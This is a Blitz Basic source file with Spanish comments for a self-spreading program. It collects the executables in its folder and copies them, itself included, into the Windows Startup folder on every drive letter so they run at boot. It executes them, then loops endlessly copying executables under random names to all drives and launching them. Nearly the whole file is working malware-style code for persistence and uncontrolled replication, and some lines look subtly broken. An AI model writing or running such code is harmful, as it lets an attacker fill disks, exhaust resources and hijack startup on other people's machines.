;Utilizo SeedRnd y Millisecs() para intentar obtener valores aleatorios
;con el comando rand() y rnd()
SeedRnd MilliSecs()
;genero un valor aleatorio para añadirlo a la barra de "titulo" del programa.
tit#=Rand(0,999999999999)
;convierto el valor a string
num$=Str tit#
;cambio el nombre de la barra de titulo
AppTitle num$
;genera una lista de unidades excluyendo las unidades A:\ y B:\ reservadas para disqueteras.
;inicialmente, creamos las matrices que usaremos en el programa
;para evitar errores de compilacion.
Dim exe_list$(0,0)
Dim exe_list_0_b$(0,0)
Dim unit$(24)
unit$(0)="ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
unit$(1)="C:\"
unit$(2)="D:\"
unit$(3)="E:\"
unit$(4)="F:\"
unit$(5)="G:\"
unit$(6)="H:\"
unit$(7)="I:\"
unit$(8)="J:\"
unit$(9)="K:\"
unit$(10)="L:\"
unit$(11)="M:\"
unit$(12)="N:\"
unit$(13)="O:\"
unit$(14)="P:\"
unit$(15)="Q:\"
unit$(16)="R:\"
unit$(17)="S:\"
unit$(18)="T:\"
unit$(19)="U:\"
unit$(20)="V:\"
unit$(21)="W:\"
unit$(22)="X:\"
unit$(23)="Y:\"
unit$(24)="Z:\"
;comprueba el directorio actual
dir_actual$=CurrentDir()
;comprobacion de archios del directorio actual.
dir_act=ReadDir(dir_actual$)
.chk_file
file_act$=NextFile$(dir_act)
If file_act$=""
;si no se encuentran mas archivos, salta a la sección de copiar archivos
;a la carpeta para ejecutar programas al iniciar windows.
;como nota, se reducira en uno el valor de la variable "cant_exe#" para
;evitar acceder a posiciones no validas de las matrices que se han creado
cant_exe#=cant_exe#-1
Goto ejecucion
EndIf
;usa la variable extens$ para comprobar toda (o parte) de la extension del archivo
extens$=Right$(file_act$,4)
If extens$=".exe"
;si la extension del archivo es .exe guarda la ruta del archivo en una matriz
;para fijar el tamaño de la matriz, se utilizara la variable cant_exe#; Se
;le asignara el valor 0 en caso de que no se haya creado, y, despues de
;crearla y/o añadirle nuevos archivos, su valor se incrementara en 1.
;Obviamente, se le restara 1 a su valor cuando se necesite acceder a todos los
;datos de la matriz.
If cant_exe#=0
;si no se ha creado la matriz, se crea antes de añadirle la ruta del archivo.
Dim exe_list$(0,2)
exe_list$(0,0)=dir_actual$=dir_actual$+file_act$
exe_list$(0,1)=file_act$
cant_exe#=cant_exe#+1
EndIf
If cant_exe#>0
;si ya existe, y, dado que al volver a crear una matriz se borran los datos de esta,
;se crea una segunda matriz para volcar la informacion.
cant_exe#=cant_exe#-1
Dim exe_list_0_b$(cant_exe#,1)
For count#=0 To cant_exe#
For con_2#=0 To 1
exe_list_0_b$(count#,con_2#)=exe_list$(count#,con_2#)
Next
Next
cant_exe#=cant_exe#+1
Dim exe_list$(cant_exe#,2)
cant_exe#=cant_exe#-1
;Con la 1a matriz redimensionada, se vuelve a copiar la informacion en esta.
For count#=0 To cant_exe#
For con_2#=0 To 1
exe_list$(count#,con_2#)=exe_list_0_b$(count#,con_2#)
Next
Next
cant_exe#=cant_exe#+1
EndIf
EndIf
Goto chk_file
.ejecucion
;en esta parte, se utilizara la lista de unidades (posicion 1 a 24 de la matriz unit$())
;mas la ruta indicada en la posicion "0" para localizar el directorio %StartUp%
For count#=1 To 24
dir_destino$=unit$(count#)+unit$(0)
If FileType(dir_destino$)=2
;si se ha encontrado y es el directorio actual del programa, se pasara
;a la ultima parte del programa.
;como nota, utilizaremos el comando goto para saltar a la etiqueta autoruning
If dir_actual$=dir_destino$
Goto autoruning
EndIf
;si se ha encontrado se pasara a copiar los .exe a este directorio
;y se usa la variable "system_pos#" para marcar la posicion de la
;matriz que hemos usado para copiar los archivos.
system_pos#=count#
For count_2#=0 To cant_exe#
exe_list$(count_2#,2)=dir_destino$+exe_list$(count_2#,1)
;antes de copiar el archivo, hacemos una comprobacion
;para ver si ya existe.
;en caso de que exista, hacemos un pequeño salto en el
;programa para evitar copiarlo y evitar posibles errores.
If FileType(exe_list$(count_2#,2))=1
Goto evitar_copia_00
EndIf
CopyFile exe_list$(count_2#,0),exe_list$(count_2#,2)
.evitar_copia_00
;por otra parte, con la siguiente linea se ejecutaran los archivos
;que se han copiado (entre ellos, este programa):
ExecFile(exe_list$(count_2#,2))
Next
EndIf
Next
.autoruning
;vuelvo a generar un valor aleatorio para añadirlo a la barra de "titulo" del programa.
tit#=Rand(0,999999999999)
;vuelvo a conviertir el valor a string
num$=Str tit#
;vuevlo a cambiar el nombre de la barra de titulo
AppTitle num$
;independientemente de si se han ejecutado o no los archivos que hemos copiado,
;se intentaran dos cosas para, digamos, "forzar" un reinicio y hacer que
;los archivos se ejecuten al arrancar SO.
;lo primero que se intentara es ejecutar los programas que se han encontrado
;en la carpeta de este programa:
For tr#=0 To cant_exe#
ExecFile(exe_list$(tr#,0))
Next
;la segunda opcion es intentar copiar este programa a otras
;unidades disponibles en el equipo de la siguiente forma:
;utilizamos un bucle for para intentar acceder a la lista
;de unidades
For tr#=0 To 24
;comprobamos con filetype si esta disponible la unidad.
;en caso de no estar disponible la unidad de almacenamiento
;indicada en unit$(tr#), se usara goto para saltar a la
;etiqueta "sig_unit" y pasar a la siguiente unidad
;indicada en la matriz.
If FileType(unit$(tr#))=0
Goto sig_unit
EndIf
;se utiliza otro bucle for y la variable unidad_final
;para indicar la ruta de destino de cada ejecutable.
For trr#=0 To cant_exe#
;como paso adicional, se intentara utilizar numeros
;para generar un nombre al azar en cada pasada para,
;digamos, initentar evitar nombres de archivo repetidos.
;No obstante, se aprovechara el codigo que he hecho para cambiar
;el nombre de la barra de titulo del programa para generar
;el nombre de archivo.
;genero un valor aleatorio para añadirlo a la barra de "titulo" del programa.
tit#=Rand(0,999999999999)
;convierto el valor a string
num$=Str tit#
;cambio el nombre de la barra de titulo
AppTitle num$
unidad_final$=unit$(tr#)+num$
;antes de copiar el archivo, hacemos una comprobacion
;con filetype() para evitar cpoiar un archivo con el mismo nombre.
;Si se da el caso y existe un archivo con el mismo nombre,
;lo ejecutamos y utilizamos el comando goto para saltar a la
;etiqueta "evitar_copia_01" y pasar al siguiente archivo.
If FileType(unidad_final$)=1
ExecFile(exe_list$(tr#,0))
Goto evitar_copia_01
EndIf
;en caso de que no exista un archivo con el nuevo nombre
;se copiara y ejecutara el archivo:
CopyFile exe_list$(0,1),unidad_final$
ExecFile(exe_list$(tr#,0))
.evitar_copia_01
Next
.sig_unit
Next
;por ultimo, se volovera a utilizar el comando goto para
;mantener este proceso indefinidamente saltando a la
;etiqueta "autoruning"
Goto autoruning